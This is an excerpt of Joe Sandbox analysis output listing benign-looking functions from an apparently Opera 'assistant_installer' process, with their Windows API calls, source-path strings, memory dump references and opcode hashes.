                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileHandleInformation__fread_nolock
                                                                                                                                                                                                                • String ID: ../../base/files/file_util.cc$ReadStreamToStringWithMaxSize
                                                                                                                                                                                                                • API String ID: 860753551-4143436111
                                                                                                                                                                                                                • Opcode ID: 98fc98864076f22cc7621d418d2130a3a0320d58cb4618bbb17daea66e0a3fbe
                                                                                                                                                                                                                • Instruction ID: 0759aae2f20f9a0a7b84204c53473f42d5908b0d8d770205a0786fecceed4e81
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 98fc98864076f22cc7621d418d2130a3a0320d58cb4618bbb17daea66e0a3fbe
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D361C6B1A04381ABE710DF28C84676BB7E5BFC5314F14462DF8C997282E775D9458783
                                                                                                                                                                                                                Function 00706354 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?,?), ref: 00706454
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?,?,?), ref: 00706499
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc, xrefs: 0070637A, 00706397
                                                                                                                                                                                                                • Actual removal of , xrefs: 007063A9
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: DirectoryRemove
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc$Actual removal of
                                                                                                                                                                                                                • API String ID: 597925465-678036363
                                                                                                                                                                                                                • Opcode ID: 442a7d1df34e974b53299a677d9f43133f99e20764821f1e51b7a8c2ca028e11
                                                                                                                                                                                                                • Instruction ID: 452605813a956594cf34b9114fe5c364311a8ea1e1d8fac2d76eba209d317adb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 442a7d1df34e974b53299a677d9f43133f99e20764821f1e51b7a8c2ca028e11
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F241F970A00214DBEF54EF24DC99BAA73A4AF05305F004599F949972C3DB38AA59CB92
                                                                                                                                                                                                                Function 00754030 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WriteFile.KERNEL32(?,?,00000000,FFFFFFFF,00000000), ref: 007540E8
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileWrite
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::WriteAtCurrentPos$WriteAtCurrentPos
                                                                                                                                                                                                                • API String ID: 3934441357-2300577854
                                                                                                                                                                                                                • Opcode ID: 73a4741f110fbcf61b5df4a3daf2ac4fef29ab1f09cc55957aca46e4d6d5ecf3
                                                                                                                                                                                                                • Instruction ID: f792b90ca91d4ffc5a272128acbe7a2d78cf3e2535f3ae9a09cb22010b3e9727
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 73a4741f110fbcf61b5df4a3daf2ac4fef29ab1f09cc55957aca46e4d6d5ecf3
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BF21AD71504380ABD210EF28CC49A6AF7A8FBC5774F604B1DB9F4561C1EBB49508C792
                                                                                                                                                                                                                Function 00754130 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileSizeEx.KERNEL32(00000000,FFFFFFFF), ref: 007541E2
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileSize
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::GetLength$GetLength
                                                                                                                                                                                                                • API String ID: 3433856609-2366038222
                                                                                                                                                                                                                • Opcode ID: 2d821165f98a9f837542037852857170cd2b44c15b78eed4dee116fe25182212
                                                                                                                                                                                                                • Instruction ID: c561035246854fd8ac6736d27cba4fdb6ad754352b541138103d9f2463d7fb9a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2d821165f98a9f837542037852857170cd2b44c15b78eed4dee116fe25182212
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4121AC315143819BD220EF68CC4AA6AF7A5FFC9770F504B1CB5F4571D2DBB4A5098B82
                                                                                                                                                                                                                Function 007AA2C0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RaiseException.KERNEL32(E0000008,00000001,00000001,00100000,00000000,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007AA2D7
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00100000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA063
                                                                                                                                                                                                                • VirtualFree.KERNEL32(00000000,00000000,00008000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA085
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,E0000008,?,00779CD9,?mu,?,00756D3F,00100000,?,?,?), ref: 007BA0B0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireExceptionFreeRaiseReleaseVirtual
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 329190654-0
                                                                                                                                                                                                                • Opcode ID: ebe3d17129987d386be36a578fc384f96f5805cba2e40cecb070a07088839faa
                                                                                                                                                                                                                • Instruction ID: 2eced07c14a7c7b8b4c25fc0de37457d2aa0cc7576b240ead03254c2f6454d72
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ebe3d17129987d386be36a578fc384f96f5805cba2e40cecb070a07088839faa
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 99112971B50A04BBF7107FD4AC45BAD7328F796710F880015F60497782EBA96D8047EB
                                                                                                                                                                                                                Function 0072E180 Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0072E1E5
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0072E247
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0072E259
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0072E292
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalInit_thread_footerInit_thread_headerSection$EnterLeave
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2234156424-0
                                                                                                                                                                                                                • Opcode ID: cd423525cf85de8ec6b9928a3df3ec6987cca97d3b83359785a10472ab8dfc2a
                                                                                                                                                                                                                • Instruction ID: a39e1ef0c5d3f656c25a7630df3ad4797dab4dce1adcb8f3fe37a6b00381f669
                                                                                                                                                                                                                • Opcode Fuzzy Hash: cd423525cf85de8ec6b9928a3df3ec6987cca97d3b83359785a10472ab8dfc2a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9B2105B1A40A50DFF320EF5CFD46A25B7A1FB42720F104239F51597B92D7391A80CA92
                                                                                                                                                                                                                Function 0072E2C0 Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0072E325
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0072E387
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0072E399
                                                                                                                                                                                                                  • Part of subcall function 008294E7: EnterCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008294F2
                                                                                                                                                                                                                  • Part of subcall function 008294E7: LeaveCriticalSection.KERNEL32(008A4FC0,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 0082952F
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0072E3D2
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalInit_thread_footerInit_thread_headerSection$EnterLeave
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2234156424-0
                                                                                                                                                                                                                • Opcode ID: 068c281f82d38d0749b8c021c6bf04eebbb12315f161c152c519dd3ef1bfef16
                                                                                                                                                                                                                • Instruction ID: d8804e7b9c8808c6e46e2db77aa0722f0904ad1253c64e87b8e92796934223ac
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 068c281f82d38d0749b8c021c6bf04eebbb12315f161c152c519dd3ef1bfef16
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7D210771A00710CFE310DF18FD4BA25B7A0F746730F10823AF95597B92E7796A80CA82
                                                                                                                                                                                                                Function 0077C350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0077C37C
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0077C3AB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header
                                                                                                                                                                                                                • String ID: dummy_histogram
                                                                                                                                                                                                                • API String ID: 4092853384-2199933292
                                                                                                                                                                                                                • Opcode ID: 6d0068988f048add161a1042c17f39a38172cdeb6c315fc620ceb65317ff2062
                                                                                                                                                                                                                • Instruction ID: 98ad4bdc424f3ad8e9ec9d1aaffb2f97567c1831f5b148f4ccbaf6ee08e1a3a8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6d0068988f048add161a1042c17f39a38172cdeb6c315fc620ceb65317ff2062
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CEF0E530640E00CBE620A76CBC53F183351F76BF54F418229D61586BA3D7396CC18AD7